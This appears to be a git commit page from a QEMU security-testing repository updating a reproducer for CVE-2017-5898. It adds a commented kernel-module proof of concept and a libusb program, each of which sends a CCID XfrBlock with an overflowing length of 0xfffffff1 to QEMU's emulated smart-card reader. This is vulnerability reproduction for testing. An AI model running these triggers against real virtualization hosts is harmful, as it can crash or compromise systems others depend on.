summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorGerd Hoffmann <kraxel@redhat.com>2017-02-16 14:08:36 +0100
committerGerd Hoffmann <kraxel@redhat.com>2017-02-16 14:08:36 +0100
commitefd56db22fa3f4ce3a6361743cc7487cfaf57871 (patch)
treea9ab637666de45fee40d7e5c94999e6609c22b06
parent48b9694bce4e53dc6ceadb51423def5a546efef9 (diff)
downloadqemu-security-efd56db22fa3f4ce3a6361743cc7487cfaf57871.tar.gz
update cve-2017-5898.c
-rw-r--r--cve-2017-5898.c97
1 files changed, 78 insertions, 19 deletions
diff --git a/cve-2017-5898.c b/cve-2017-5898.c
index 33ed63b..3484bc5 100644
--- a/cve-2017-5898.c
+++ b/cve-2017-5898.c
@@ -1,3 +1,71 @@
+/*
+ * kernel module poc by liqiang6-s@360.cn
+ *
+
+#include <linux/module.h>
+#include <linux/init.h>
+#include <asm/io.h>
+#include <linux/mm.h>
+#include <linux/slab.h>
+
+
+struct ccid_header
+{
+ unsigned char bMessageType;
+ unsigned int dwLength;
+ unsigned char bSlot;
+ unsigned char bSeq;
+}__attribute__((packed));
+
+struct xferblcok
+{
+ struct ccid_header hdr;
+ unsigned char bBWI;
+ unsigned short wLevelParameter;
+ unsigned char abData[0];
+}__attribute__((packed));
+struct UHCI_TD
+{
+ unsigned int link;
+ unsigned int ctrl;
+ unsigned int token;
+ unsigned int buffer;
+};
+
+int init_module(void)
+{
+ unsigned char *tdbuf = kmalloc(4096,GFP_KERNEL);
+ unsigned char *link = kmalloc(4096,GFP_KERNEL);
+ unsigned char *ccid = kmalloc(4096,GFP_KERNEL);
+ unsigned long long ptd = virt_to_phys(tdbuf);
+ unsigned long long plink = virt_to_phys(link);
+ unsigned long long pccid = virt_to_phys(ccid);
+ struct xferblcok *ccheader = (struct xferblcok*)ccid;
+ *(unsigned int*)link = ptd;
+ struct UHCI_TD *td = (struct UHCI_TD*)tdbuf;
+ memset(ccid,0,4096);
+ ccheader->hdr.bMessageType = 0x6f;
+ ccheader->hdr.dwLength = 0xfffffff1;
+
+ td->ctrl = 1 << 23;
+ td->token = 0xe1 | 30 << 21 | 2 << 15;
+ td->buffer = pccid;
+ outw(2,0xc040);
+ outw(0,0xc040+6);
+
+ outw(plink & 0xffff,0xc040+0x8);
+ outw((plink >> 16) & 0xffff,0xc040+0xa);
+ outw(4,0xc040+0x10);
+ outw(1,0xc040);
+
+ return 0;
+}
+
+void cleanup_module(void)
+{
+}
+
+ */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
@@ -76,7 +144,7 @@ typedef struct __attribute__((packed)) CCID_SlotStatus {
int main(int argc, char *argv[])
{
- int len, xlen, pos, xfered, rc;
+ int len, xfered, rc;
uint8_t buf[CCID_MAX_PACKET_SIZE];
CCID_Header *hdr = (void*)&buf;
CCID_SlotStatus *slot = (void*)&buf;
@@ -90,7 +158,7 @@ int main(int argc, char *argv[])
fprintf(stderr, "checking slot status ...\n");
memset(buf, 0, sizeof(buf));
hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_GetSlotStatus;
- hdr->dwLength = len = 10;
+ len = 10;
rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP, buf, len, &xfered, 1000);
if (rc != 0) {
fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc);
@@ -116,24 +184,15 @@ int main(int argc, char *argv[])
/* ------------------------------------------------------------ */
- fprintf(stderr, "sending extra large apdu\n");
+ fprintf(stderr, "sending invalid request\n");
memset(buf, 0, sizeof(buf));
- hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_T0APDU;
- hdr->dwLength = len = 1024 * 1024;
- pos = 0;
- while (pos < len) {
- xlen = (len - pos);
- if (xlen > CCID_MAX_PACKET_SIZE)
- xlen = CCID_MAX_PACKET_SIZE;
- rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP,
- buf, xlen, &xfered, 1000);
- if (rc != 0) {
- fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc);
- exit(1);
- }
- pos += xfered;
- fprintf(stderr, "\r%d/%d ", pos, len);
- memset(buf, 0xaa, sizeof(buf));
+ hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_XfrBlock;
+ hdr->dwLength = 0xfffffff1;
+ rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP,
+ buf, 42, &xfered, 1000);
+ if (rc != 0) {
+ fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc);
+ exit(1);
}
fprintf(stderr, "done\n");